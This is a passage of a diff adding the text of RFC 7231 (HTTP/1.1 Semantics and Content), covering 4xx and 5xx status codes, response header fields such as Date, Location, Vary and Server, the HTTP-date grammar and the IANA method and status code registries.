+   an earlier (third-party) request, the origin server might use a 409
+   response to indicate that it can't complete the request.  In this
+   case, the response representation would likely contain information
+   useful for merging the differences based on the revision history.
+
+6.5.9.  410 Gone
+
+   The 410 (Gone) status code indicates that access to the target
+   resource is no longer available at the origin server and that this
+   condition is likely to be permanent.  If the origin server does not
+
+
+
+Fielding & Reschke           Standards Track                   [Page 60]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   know, or has no facility to determine, whether or not the condition
+   is permanent, the status code 404 (Not Found) ought to be used
+   instead.
+
+   The 410 response is primarily intended to assist the task of web
+   maintenance by notifying the recipient that the resource is
+   intentionally unavailable and that the server owners desire that
+   remote links to that resource be removed.  Such an event is common
+   for limited-time, promotional services and for resources belonging to
+   individuals no longer associated with the origin server's site.  It
+   is not necessary to mark all permanently unavailable resources as
+   "gone" or to keep the mark for any length of time -- that is left to
+   the discretion of the server owner.
+
+   A 410 response is cacheable by default; i.e., unless otherwise
+   indicated by the method definition or explicit cache controls (see
+   Section 4.2.2 of [RFC7234]).
+
+6.5.10.  411 Length Required
+
+   The 411 (Length Required) status code indicates that the server
+   refuses to accept the request without a defined Content-Length
+   (Section 3.3.2 of [RFC7230]).  The client MAY repeat the request if
+   it adds a valid Content-Length header field containing the length of
+   the message body in the request message.
+
+6.5.11.  413 Payload Too Large
+
+   The 413 (Payload Too Large) status code indicates that the server is
+   refusing to process a request because the request payload is larger
+   than the server is willing or able to process.  The server MAY close
+   the connection to prevent the client from continuing the request.
+
+   If the condition is temporary, the server SHOULD generate a
+   Retry-After header field to indicate that it is temporary and after
+   what time the client MAY try again.
+
+6.5.12.  414 URI Too Long
+
+   The 414 (URI Too Long) status code indicates that the server is
+   refusing to service the request because the request-target (Section
+   5.3 of [RFC7230]) is longer than the server is willing to interpret.
+   This rare condition is only likely to occur when a client has
+   improperly converted a POST request to a GET request with long query
+   information, when the client has descended into a "black hole" of
+   redirection (e.g., a redirected URI prefix that points to a suffix of
+   itself) or when the server is under attack by a client attempting to
+   exploit potential security holes.
+
+
+
+Fielding & Reschke           Standards Track                   [Page 61]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   A 414 response is cacheable by default; i.e., unless otherwise
+   indicated by the method definition or explicit cache controls (see
+   Section 4.2.2 of [RFC7234]).
+
+6.5.13.  415 Unsupported Media Type
+
+   The 415 (Unsupported Media Type) status code indicates that the
+   origin server is refusing to service the request because the payload
+   is in a format not supported by this method on the target resource.
+   The format problem might be due to the request's indicated
+   Content-Type or Content-Encoding, or as a result of inspecting the
+   data directly.
+
+6.5.14.  417 Expectation Failed
+
+   The 417 (Expectation Failed) status code indicates that the
+   expectation given in the request's Expect header field
+   (Section 5.1.1) could not be met by at least one of the inbound
+   servers.
+
+6.5.15.  426 Upgrade Required
+
+   The 426 (Upgrade Required) status code indicates that the server
+   refuses to perform the request using the current protocol but might
+   be willing to do so after the client upgrades to a different
+   protocol.  The server MUST send an Upgrade header field in a 426
+   response to indicate the required protocol(s) (Section 6.7 of
+   [RFC7230]).
+
+   Example:
+
+     HTTP/1.1 426 Upgrade Required
+     Upgrade: HTTP/3.0
+     Connection: Upgrade
+     Content-Length: 53
+     Content-Type: text/plain
+
+     This service requires use of the HTTP/3.0 protocol.
+
+6.6.  Server Error 5xx
+
+   The 5xx (Server Error) class of status code indicates that the server
+   is aware that it has erred or is incapable of performing the
+   requested method.  Except when responding to a HEAD request, the
+   server SHOULD send a representation containing an explanation of the
+   error situation, and whether it is a temporary or permanent
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 62]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   condition.  A user agent SHOULD display any included representation
+   to the user.  These response codes are applicable to any request
+   method.
+
+6.6.1.  500 Internal Server Error
+
+   The 500 (Internal Server Error) status code indicates that the server
+   encountered an unexpected condition that prevented it from fulfilling
+   the request.
+
+6.6.2.  501 Not Implemented
+
+   The 501 (Not Implemented) status code indicates that the server does
+   not support the functionality required to fulfill the request.  This
+   is the appropriate response when the server does not recognize the
+   request method and is not capable of supporting it for any resource.
+
+   A 501 response is cacheable by default; i.e., unless otherwise
+   indicated by the method definition or explicit cache controls (see
+   Section 4.2.2 of [RFC7234]).
+
+6.6.3.  502 Bad Gateway
+
+   The 502 (Bad Gateway) status code indicates that the server, while
+   acting as a gateway or proxy, received an invalid response from an
+   inbound server it accessed while attempting to fulfill the request.
+
+6.6.4.  503 Service Unavailable
+
+   The 503 (Service Unavailable) status code indicates that the server
+   is currently unable to handle the request due to a temporary overload
+   or scheduled maintenance, which will likely be alleviated after some
+   delay.  The server MAY send a Retry-After header field
+   (Section 7.1.3) to suggest an appropriate amount of time for the
+   client to wait before retrying the request.
+
+      Note: The existence of the 503 status code does not imply that a
+      server has to use it when becoming overloaded.  Some servers might
+      simply refuse the connection.
+
+6.6.5.  504 Gateway Timeout
+
+   The 504 (Gateway Timeout) status code indicates that the server,
+   while acting as a gateway or proxy, did not receive a timely response
+   from an upstream server it needed to access in order to complete the
+   request.
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 63]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+6.6.6.  505 HTTP Version Not Supported
+
+   The 505 (HTTP Version Not Supported) status code indicates that the
+   server does not support, or refuses to support, the major version of
+   HTTP that was used in the request message.  The server is indicating
+   that it is unable or unwilling to complete the request using the same
+   major version as the client, as described in Section 2.6 of
+   [RFC7230], other than with this error message.  The server SHOULD
+   generate a representation for the 505 response that describes why
+   that version is not supported and what other protocols are supported
+   by that server.
+
+7.  Response Header Fields
+
+   The response header fields allow the server to pass additional
+   information about the response beyond what is placed in the
+   status-line.  These header fields give information about the server,
+   about further access to the target resource, or about related
+   resources.
+
+   Although each response header field has a defined meaning, in
+   general, the precise semantics might be further refined by the
+   semantics of the request method and/or response status code.
+
+7.1.  Control Data
+
+   Response header fields can supply control data that supplements the
+   status code, directs caching, or instructs the client where to go
+   next.
+
+   +-------------------+--------------------------+
+   | Header Field Name | Defined in...            |
+   +-------------------+--------------------------+
+   | Age               | Section 5.1 of [RFC7234] |
+   | Cache-Control     | Section 5.2 of [RFC7234] |
+   | Expires           | Section 5.3 of [RFC7234] |
+   | Date              | Section 7.1.1.2          |
+   | Location          | Section 7.1.2            |
+   | Retry-After       | Section 7.1.3            |
+   | Vary              | Section 7.1.4            |
+   | Warning           | Section 5.5 of [RFC7234] |
+   +-------------------+--------------------------+
+
+
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 64]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+7.1.1.  Origination Date
+
+7.1.1.1.  Date/Time Formats
+
+   Prior to 1995, there were three different formats commonly used by
+   servers to communicate timestamps.  For compatibility with old
+   implementations, all three are defined here.  The preferred format is
+   a fixed-length and single-zone subset of the date and time
+   specification used by the Internet Message Format [RFC5322].
+
+     HTTP-date    = IMF-fixdate / obs-date
+
+   An example of the preferred format is
+
+     Sun, 06 Nov 1994 08:49:37 GMT    ; IMF-fixdate
+
+   Examples of the two obsolete formats are
+
+     Sunday, 06-Nov-94 08:49:37 GMT   ; obsolete RFC 850 format
+     Sun Nov  6 08:49:37 1994         ; ANSI C's asctime() format
+
+   A recipient that parses a timestamp value in an HTTP header field
+   MUST accept all three HTTP-date formats.  When a sender generates a
+   header field that contains one or more timestamps defined as
+   HTTP-date, the sender MUST generate those timestamps in the
+   IMF-fixdate format.
+
+   An HTTP-date value represents time as an instance of Coordinated
+   Universal Time (UTC).  The first two formats indicate UTC by the
+   three-letter abbreviation for Greenwich Mean Time, "GMT", a
+   predecessor of the UTC name; values in the asctime format are assumed
+   to be in UTC.  A sender that generates HTTP-date values from a local
+   clock ought to use NTP ([RFC5905]) or some similar protocol to
+   synchronize its clock to UTC.
+
+   Preferred format:
+
+     IMF-fixdate  = day-name "," SP date1 SP time-of-day SP GMT
+     ; fixed length/zone/capitalization subset of the format
+     ; see Section 3.3 of [RFC5322]
+
+     day-name     = %x4D.6F.6E ; "Mon", case-sensitive
+                  / %x54.75.65 ; "Tue", case-sensitive
+                  / %x57.65.64 ; "Wed", case-sensitive
+                  / %x54.68.75 ; "Thu", case-sensitive
+                  / %x46.72.69 ; "Fri", case-sensitive
+                  / %x53.61.74 ; "Sat", case-sensitive
+                  / %x53.75.6E ; "Sun", case-sensitive
+
+
+
+Fielding & Reschke           Standards Track                   [Page 65]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+     date1        = day SP month SP year
+                  ; e.g., 02 Jun 1982
+
+     day          = 2DIGIT
+     month        = %x4A.61.6E ; "Jan", case-sensitive
+                  / %x46.65.62 ; "Feb", case-sensitive
+                  / %x4D.61.72 ; "Mar", case-sensitive
+                  / %x41.70.72 ; "Apr", case-sensitive
+                  / %x4D.61.79 ; "May", case-sensitive
+                  / %x4A.75.6E ; "Jun", case-sensitive
+                  / %x4A.75.6C ; "Jul", case-sensitive
+                  / %x41.75.67 ; "Aug", case-sensitive
+                  / %x53.65.70 ; "Sep", case-sensitive
+                  / %x4F.63.74 ; "Oct", case-sensitive
+                  / %x4E.6F.76 ; "Nov", case-sensitive
+                  / %x44.65.63 ; "Dec", case-sensitive
+     year         = 4DIGIT
+
+     GMT          = %x47.4D.54 ; "GMT", case-sensitive
+
+     time-of-day  = hour ":" minute ":" second
+                  ; 00:00:00 - 23:59:60 (leap second)
+
+     hour         = 2DIGIT
+     minute       = 2DIGIT
+     second       = 2DIGIT
+
+   Obsolete formats:
+
+     obs-date     = rfc850-date / asctime-date
+
+     rfc850-date  = day-name-l "," SP date2 SP time-of-day SP GMT
+     date2        = day "-" month "-" 2DIGIT
+                  ; e.g., 02-Jun-82
+
+     day-name-l   = %x4D.6F.6E.64.61.79    ; "Monday", case-sensitive
+            / %x54.75.65.73.64.61.79       ; "Tuesday", case-sensitive
+            / %x57.65.64.6E.65.73.64.61.79 ; "Wednesday", case-sensitive
+            / %x54.68.75.72.73.64.61.79    ; "Thursday", case-sensitive
+            / %x46.72.69.64.61.79          ; "Friday", case-sensitive
+            / %x53.61.74.75.72.64.61.79    ; "Saturday", case-sensitive
+            / %x53.75.6E.64.61.79          ; "Sunday", case-sensitive
+
+
+     asctime-date = day-name SP date3 SP time-of-day SP year
+     date3        = month SP ( 2DIGIT / ( SP 1DIGIT ))
+                  ; e.g., Jun  2
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 66]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   HTTP-date is case sensitive.  A sender MUST NOT generate additional
+   whitespace in an HTTP-date beyond that specifically included as SP in
+   the grammar.  The semantics of day-name, day, month, year, and
+   time-of-day are the same as those defined for the Internet Message
+   Format constructs with the corresponding name ([RFC5322], Section
+   3.3).
+
+   Recipients of a timestamp value in rfc850-date format, which uses a
+   two-digit year, MUST interpret a timestamp that appears to be more
+   than 50 years in the future as representing the most recent year in
+   the past that had the same last two digits.
+
+   Recipients of timestamp values are encouraged to be robust in parsing
+   timestamps unless otherwise restricted by the field definition.  For
+   example, messages are occasionally forwarded over HTTP from a
+   non-HTTP source that might generate any of the date and time
+   specifications defined by the Internet Message Format.
+
+      Note: HTTP requirements for the date/time stamp format apply only
+      to their usage within the protocol stream.  Implementations are
+      not required to use these formats for user presentation, request
+      logging, etc.
+
+7.1.1.2.  Date
+
+   The "Date" header field represents the date and time at which the
+   message was originated, having the same semantics as the Origination
+   Date Field (orig-date) defined in Section 3.6.1 of [RFC5322].  The
+   field value is an HTTP-date, as defined in Section 7.1.1.1.
+
+     Date = HTTP-date
+
+   An example is
+
+     Date: Tue, 15 Nov 1994 08:12:31 GMT
+
+   When a Date header field is generated, the sender SHOULD generate its
+   field value as the best available approximation of the date and time
+   of message generation.  In theory, the date ought to represent the
+   moment just before the payload is generated.  In practice, the date
+   can be generated at any time during message origination.
+
+   An origin server MUST NOT send a Date header field if it does not
+   have a clock capable of providing a reasonable approximation of the
+   current instance in Coordinated Universal Time.  An origin server MAY
+   send a Date header field if the response is in the 1xx
+   (Informational) or 5xx (Server Error) class of status codes.  An
+   origin server MUST send a Date header field in all other cases.
+
+
+
+Fielding & Reschke           Standards Track                   [Page 67]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   A recipient with a clock that receives a response message without a
+   Date header field MUST record the time it was received and append a
+   corresponding Date header field to the message's header section if it
+   is cached or forwarded downstream.
+
+   A user agent MAY send a Date header field in a request, though
+   generally will not do so unless it is believed to convey useful
+   information to the server.  For example, custom applications of HTTP
+   might convey a Date if the server is expected to adjust its
+   interpretation of the user's request based on differences between the
+   user agent and server clocks.
+
+7.1.2.  Location
+
+   The "Location" header field is used in some responses to refer to a
+   specific resource in relation to the response.  The type of
+   relationship is defined by the combination of request method and
+   status code semantics.
+
+     Location = URI-reference
+
+   The field value consists of a single URI-reference.  When it has the
+   form of a relative reference ([RFC3986], Section 4.2), the final
+   value is computed by resolving it against the effective request URI
+   ([RFC3986], Section 5).
+
+   For 201 (Created) responses, the Location value refers to the primary
+   resource created by the request.  For 3xx (Redirection) responses,
+   the Location value refers to the preferred target resource for
+   automatically redirecting the request.
+
+   If the Location value provided in a 3xx (Redirection) response does
+   not have a fragment component, a user agent MUST process the
+   redirection as if the value inherits the fragment component of the
+   URI reference used to generate the request target (i.e., the
+   redirection inherits the original reference's fragment, if any).
+
+   For example, a GET request generated for the URI reference
+   "http://www.example.org/~tim" might result in a 303 (See Other)
+   response containing the header field:
+
+     Location: /People.html#tim
+
+   which suggests that the user agent redirect to
+   "http://www.example.org/People.html#tim"
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 68]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   Likewise, a GET request generated for the URI reference
+   "http://www.example.org/index.html#larry" might result in a 301
+   (Moved Permanently) response containing the header field:
+
+     Location: http://www.example.net/index.html
+
+   which suggests that the user agent redirect to
+   "http://www.example.net/index.html#larry", preserving the original
+   fragment identifier.
+
+   There are circumstances in which a fragment identifier in a Location
+   value would not be appropriate.  For example, the Location header
+   field in a 201 (Created) response is supposed to provide a URI that
+   is specific to the created resource.
+
+      Note: Some recipients attempt to recover from Location fields that
+      are not valid URI references.  This specification does not mandate
+      or define such processing, but does allow it for the sake of
+      robustness.
+
+      Note: The Content-Location header field (Section 3.1.4.2) differs
+      from Location in that the Content-Location refers to the most
+      specific resource corresponding to the enclosed representation.
+      It is therefore possible for a response to contain both the
+      Location and Content-Location header fields.
+
+7.1.3.  Retry-After
+
+   Servers send the "Retry-After" header field to indicate how long the
+   user agent ought to wait before making a follow-up request.  When
+   sent with a 503 (Service Unavailable) response, Retry-After indicates
+   how long the service is expected to be unavailable to the client.
+   When sent with any 3xx (Redirection) response, Retry-After indicates
+   the minimum time that the user agent is asked to wait before issuing
+   the redirected request.
+
+   The value of this field can be either an HTTP-date or a number of
+   seconds to delay after the response is received.
+
+     Retry-After = HTTP-date / delay-seconds
+
+   A delay-seconds value is a non-negative decimal integer, representing
+   time in seconds.
+
+     delay-seconds  = 1*DIGIT
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 69]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   Two examples of its use are
+
+     Retry-After: Fri, 31 Dec 1999 23:59:59 GMT
+     Retry-After: 120
+
+   In the latter example, the delay is 2 minutes.
+
+7.1.4.  Vary
+
+   The "Vary" header field in a response describes what parts of a
+   request message, aside from the method, Host header field, and
+   request target, might influence the origin server's process for
+   selecting and representing this response.  The value consists of
+   either a single asterisk ("*") or a list of header field names
+   (case-insensitive).
+
+     Vary = "*" / 1#field-name
+
+   A Vary field value of "*" signals that anything about the request
+   might play a role in selecting the response representation, possibly
+   including elements outside the message syntax (e.g., the client's
+   network address).  A recipient will not be able to determine whether
+   this response is appropriate for a later request without forwarding
+   the request to the origin server.  A proxy MUST NOT generate a Vary
+   field with a "*" value.
+
+   A Vary field value consisting of a comma-separated list of names
+   indicates that the named request header fields, known as the
+   selecting header fields, might have a role in selecting the
+   representation.  The potential selecting header fields are not
+   limited to those defined by this specification.
+
+   For example, a response that contains
+
+     Vary: accept-encoding, accept-language
+
+   indicates that the origin server might have used the request's
+   Accept-Encoding and Accept-Language fields (or lack thereof) as
+   determining factors while choosing the content for this response.
+
+   An origin server might send Vary with a list of fields for two
+   purposes:
+
+   1.  To inform cache recipients that they MUST NOT use this response
+       to satisfy a later request unless the later request has the same
+       values for the listed fields as the original request (Section 4.1
+       of [RFC7234]).  In other words, Vary expands the cache key
+       required to match a new request to the stored cache entry.
+
+
+
+Fielding & Reschke           Standards Track                   [Page 70]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   2.  To inform user agent recipients that this response is subject to
+       content negotiation (Section 5.3) and that a different
+       representation might be sent in a subsequent request if
+       additional parameters are provided in the listed header fields
+       (proactive negotiation).
+
+   An origin server SHOULD send a Vary header field when its algorithm
+   for selecting a representation varies based on aspects of the request
+   message other than the method and request target, unless the variance
+   cannot be crossed or the origin server has been deliberately
+   configured to prevent cache transparency.  For example, there is no
+   need to send the Authorization field name in Vary because reuse
+   across users is constrained by the field definition (Section 4.2 of
+   [RFC7235]).  Likewise, an origin server might use Cache-Control
+   directives (Section 5.2 of [RFC7234]) to supplant Vary if it
+   considers the variance less significant than the performance cost of
+   Vary's impact on caching.
+
+7.2.  Validator Header Fields
+
+   Validator header fields convey metadata about the selected
+   representation (Section 3).  In responses to safe requests, validator
+   fields describe the selected representation chosen by the origin
+   server while handling the response.  Note that, depending on the
+   status code semantics, the selected representation for a given
+   response is not necessarily the same as the representation enclosed
+   as response payload.
+
+   In a successful response to a state-changing request, validator
+   fields describe the new representation that has replaced the prior
+   selected representation as a result of processing the request.
+
+   For example, an ETag header field in a 201 (Created) response
+   communicates the entity-tag of the newly created resource's
+   representation, so that it can be used in later conditional requests
+   to prevent the "lost update" problem [RFC7232].
+
+   +-------------------+--------------------------+
+   | Header Field Name | Defined in...            |
+   +-------------------+--------------------------+
+   | ETag              | Section 2.3 of [RFC7232] |
+   | Last-Modified     | Section 2.2 of [RFC7232] |
+   +-------------------+--------------------------+
+
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 71]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+7.3.  Authentication Challenges
+
+   Authentication challenges indicate what mechanisms are available for
+   the client to provide authentication credentials in future requests.
+
+   +--------------------+--------------------------+
+   | Header Field Name  | Defined in...            |
+   +--------------------+--------------------------+
+   | WWW-Authenticate   | Section 4.1 of [RFC7235] |
+   | Proxy-Authenticate | Section 4.3 of [RFC7235] |
+   +--------------------+--------------------------+
+
+7.4.  Response Context
+
+   The remaining response header fields provide more information about
+   the target resource for potential use in later requests.
+
+   +-------------------+--------------------------+
+   | Header Field Name | Defined in...            |
+   +-------------------+--------------------------+
+   | Accept-Ranges     | Section 2.3 of [RFC7233] |
+   | Allow             | Section 7.4.1            |
+   | Server            | Section 7.4.2            |
+   +-------------------+--------------------------+
+
+7.4.1.  Allow
+
+   The "Allow" header field lists the set of methods advertised as
+   supported by the target resource.  The purpose of this field is
+   strictly to inform the recipient of valid request methods associated
+   with the resource.
+
+     Allow = #method
+
+   Example of use:
+
+     Allow: GET, HEAD, PUT
+
+   The actual set of allowed methods is defined by the origin server at
+   the time of each request.  An origin server MUST generate an Allow
+   field in a 405 (Method Not Allowed) response and MAY do so in any
+   other response.  An empty Allow field value indicates that the
+   resource allows no methods, which might occur in a 405 response if
+   the resource has been temporarily disabled by configuration.
+
+   A proxy MUST NOT modify the Allow header field -- it does not need to
+   understand all of the indicated methods in order to handle them
+   according to the generic message handling rules.
+
+
+
+Fielding & Reschke           Standards Track                   [Page 72]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+7.4.2.  Server
+
+   The "Server" header field contains information about the software
+   used by the origin server to handle the request, which is often used
+   by clients to help identify the scope of reported interoperability
+   problems, to work around or tailor requests to avoid particular
+   server limitations, and for analytics regarding server or operating
+   system use.  An origin server MAY generate a Server field in its
+   responses.
+
+     Server = product *( RWS ( product / comment ) )
+
+   The Server field-value consists of one or more product identifiers,
+   each followed by zero or more comments (Section 3.2 of [RFC7230]),
+   which together identify the origin server software and its
+   significant subproducts.  By convention, the product identifiers are
+   listed in decreasing order of their significance for identifying the
+   origin server software.  Each product identifier consists of a name
+   and optional version, as defined in Section 5.5.3.
+
+   Example:
+
+     Server: CERN/3.0 libwww/2.17
+
+   An origin server SHOULD NOT generate a Server field containing
+   needlessly fine-grained detail and SHOULD limit the addition of
+   subproducts by third parties.  Overly long and detailed Server field
+   values increase response latency and potentially reveal internal
+   implementation details that might make it (slightly) easier for
+   attackers to find and exploit known security holes.
+
+8.  IANA Considerations
+
+8.1.  Method Registry
+
+   The "Hypertext Transfer Protocol (HTTP) Method Registry" defines the
+   namespace for the request method token (Section 4).  The method
+   registry has been created and is now maintained at
+   <http://www.iana.org/assignments/http-methods>.
+
+
+
+
+
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 73]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+8.1.1.  Procedure
+
+   HTTP method registrations MUST include the following fields:
+
+   o  Method Name (see Section 4)
+
+   o  Safe ("yes" or "no", see Section 4.2.1)
+
+   o  Idempotent ("yes" or "no", see Section 4.2.2)
+
+   o  Pointer to specification text
+
+   Values to be added to this namespace require IETF Review (see
+   [RFC5226], Section 4.1).
+
+8.1.2.  Considerations for New Methods
+
+   Standardized methods are generic; that is, they are potentially
+   applicable to any resource, not just one particular media type, kind
+   of resource, or application.  As such, it is preferred that new
+   methods be registered in a document that isn't specific to a single
+   application or data format, since orthogonal technologies deserve
+   orthogonal specification.
+
+   Since message parsing (Section 3.3 of [RFC7230]) needs to be
+   independent of method semantics (aside from responses to HEAD),
+   definitions of new methods cannot change the parsing algorithm or
+   prohibit the presence of a message body on either the request or the
+   response message.  Definitions of new methods can specify that only a
+   zero-length message body is allowed by requiring a Content-Length
+   header field with a value of "0".
+
+   A new method definition needs to indicate whether it is safe
+   (Section 4.2.1), idempotent (Section 4.2.2), cacheable
+   (Section 4.2.3), what semantics are to be associated with the payload
+   body if any is present in the request and what refinements the method
+   makes to header field or status code semantics.  If the new method is
+   cacheable, its definition ought to describe how, and under what
+   conditions, a cache can store a response and use it to satisfy a
+   subsequent request.  The new method ought to describe whether it can
+   be made conditional (Section 5.2) and, if so, how a server responds
+   when the condition is false.  Likewise, if the new method might have
+   some use for partial response semantics ([RFC7233]), it ought to
+   document this, too.
+
+      Note: Avoid defining a method name that starts with "M-", since
+      that prefix might be misinterpreted as having the semantics
+      assigned to it by [RFC2774].
+
+
+
+Fielding & Reschke           Standards Track                   [Page 74]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+8.1.3.  Registrations
+
+   The "Hypertext Transfer Protocol (HTTP) Method Registry" has been
+   populated with the registrations below:
+
+   +---------+------+------------+---------------+
+   | Method  | Safe | Idempotent | Reference     |
+   +---------+------+------------+---------------+
+   | CONNECT | no   | no         | Section 4.3.6 |
+   | DELETE  | no   | yes        | Section 4.3.5 |
+   | GET     | yes  | yes        | Section 4.3.1 |
+   | HEAD    | yes  | yes        | Section 4.3.2 |
+   | OPTIONS | yes  | yes        | Section 4.3.7 |
+   | POST    | no   | no         | Section 4.3.3 |
+   | PUT     | no   | yes        | Section 4.3.4 |
+   | TRACE   | yes  | yes        | Section 4.3.8 |
+   +---------+------+------------+---------------+
+
+8.2.  Status Code Registry
+
+   The "Hypertext Transfer Protocol (HTTP) Status Code Registry" defines
+   the namespace for the response status-code token (Section 6).  The
+   status code registry is maintained at
+   <http://www.iana.org/assignments/http-status-codes>.
+
+   This section replaces the registration procedure for HTTP Status
+   Codes previously defined in Section 7.1 of [RFC2817].
+
+8.2.1.  Procedure
+
+   A registration MUST include the following fields:
+
+   o  Status Code (3 digits)
+
+   o  Short Description
+
+   o  Pointer to specification text
+
+   Values to be added to the HTTP status code namespace require IETF
+   Review (see [RFC5226], Section 4.1).
+
+
+
+
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 75]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+8.2.2.  Considerations for New Status Codes
+
+   When it is necessary to express semantics for a response that are not
+   defined by current status codes, a new status code can be registered.
+   Status codes are generic; they are potentially applicable to any
+   resource, not just one particular media type, kind of resource, or
+   application of HTTP.  As such, it is preferred that new status codes
+   be registered in a document that isn't specific to a single
+   application.
+
+   New status codes are required to fall under one of the categories
+   defined in Section 6.  To allow existing parsers to process the
+   response message, new status codes cannot disallow a payload,
+   although they can mandate a zero-length payload body.
+
+   Proposals for new status codes that are not yet widely deployed ought
+   to avoid allocating a specific number for the code until there is
+   clear consensus that it will be registered; instead, early drafts can
+   use a notation such as "4NN", or "3N0" .. "3N9", to indicate the
+   class of the proposed status code(s) without consuming a number
+   prematurely.
+
+   The definition of a new status code ought to explain the request
+   conditions that would cause a response containing that status code
+   (e.g., combinations of request header fields and/or method(s)) along
+   with any dependencies on response header fields (e.g., what fields
+   are required, what fields can modify the semantics, and what header
+   field semantics are further refined when used with the new status
+   code).
+
+   The definition of a new status code ought to specify whether or not
+   it is cacheable.  Note that all status codes can be cached if the
+   response they occur in has explicit freshness information; however,
+   status codes that are defined as being cacheable are allowed to be
+   cached without explicit freshness information.  Likewise, the
+   definition of a status code can place constraints upon cache
+   behavior.  See [RFC7234] for more information.
+
+   Finally, the definition of a new status code ought to indicate
+   whether the payload has any implied association with an identified
+   resource (Section 3.1.4.1).
+
+8.2.3.  Registrations
+
+   The status code registry has been updated with the registrations
+   below:
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 76]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   +-------+-------------------------------+----------------+
+   | Value | Description                   | Reference      |
+   +-------+-------------------------------+----------------+
+   | 100   | Continue                      | Section 6.2.1  |
+   | 101   | Switching Protocols           | Section 6.2.2  |
+   | 200   | OK                            | Section 6.3.1  |
+   | 201   | Created                       | Section 6.3.2  |
+   | 202   | Accepted                      | Section 6.3.3  |
+   | 203   | Non-Authoritative Information | Section 6.3.4  |
+   | 204   | No Content                    | Section 6.3.5  |
+   | 205   | Reset Content                 | Section 6.3.6  |
+   | 300   | Multiple Choices              | Section 6.4.1  |
+   | 301   | Moved Permanently             | Section 6.4.2  |
+   | 302   | Found                         | Section 6.4.3  |
+   | 303   | See Other                     | Section 6.4.4  |
+   | 305   | Use Proxy                     | Section 6.4.5  |
+   | 306   | (Unused)                      | Section 6.4.6  |
+   | 307   | Temporary Redirect            | Section 6.4.7  |
+   | 400   | Bad Request                   | Section 6.5.1  |
+   | 402   | Payment Required              | Section 6.5.2  |
+   | 403   | Forbidden                     | Section 6.5.3  |
+   | 404   | Not Found                     | Section 6.5.4  |
+   | 405   | Method Not Allowed            | Section 6.5.5  |
+   | 406   | Not Acceptable                | Section 6.5.6  |
+   | 408   | Request Timeout               | Section 6.5.7  |
+   | 409   | Conflict                      | Section 6.5.8  |
+   | 410   | Gone                          | Section 6.5.9  |
+   | 411   | Length Required               | Section 6.5.10 |
+   | 413   | Payload Too Large             | Section 6.5.11 |
+   | 414   | URI Too Long                  | Section 6.5.12 |
+   | 415   | Unsupported Media Type        | Section 6.5.13 |
+   | 417   | Expectation Failed            | Section 6.5.14 |
+   | 426   | Upgrade Required              | Section 6.5.15 |
+   | 500   | Internal Server Error         | Section 6.6.1  |
+   | 501   | Not Implemented               | Section 6.6.2  |
+   | 502   | Bad Gateway                   | Section 6.6.3  |
+   | 503   | Service Unavailable           | Section 6.6.4  |
+   | 504   | Gateway Timeout               | Section 6.6.5  |
+   | 505   | HTTP Version Not Supported    | Section 6.6.6  |
+   +-------+-------------------------------+----------------+
+
+8.3.  Header Field Registry
+
+   HTTP header fields are registered within the "Message Headers"
+   registry located at
+   <http://www.iana.org/assignments/message-headers>, as defined by
+   [BCP90].
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 77]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+8.3.1.  Considerations for New Header Fields
+
+   Header fields are key:value pairs that can be used to communicate
+   data about the message, its payload, the target resource, or the
+   connection (i.e., control data).  See Section 3.2 of [RFC7230] for a
+   general definition of header field syntax in HTTP messages.
+
+   The requirements for header field names are defined in [BCP90].
+
+   Authors of specifications defining new fields are advised to keep the
+   name as short as practical and not to prefix the name with "X-"
+   unless the header field will never be used on the Internet.  (The
+   "X-" prefix idiom has been extensively misused in practice; it was
+   intended to only be used as a mechanism for avoiding name collisions
+   inside proprietary software or intranet processing, since the prefix
+   would ensure that private names never collide with a newly registered
+   Internet name; see [BCP178] for further information).
+
+   New header field values typically have their syntax defined using
+   ABNF ([RFC5234]), using the extension defined in Section 7 of
+   [RFC7230] as necessary, and are usually constrained to the range of
+   US-ASCII characters.  Header fields needing a greater range of
+   characters can use an encoding such as the one defined in [RFC5987].
+
+   Leading and trailing whitespace in raw field values is removed upon
+   field parsing (Section 3.2.4 of [RFC7230]).  Field definitions where
+   leading or trailing whitespace in values is significant will have to
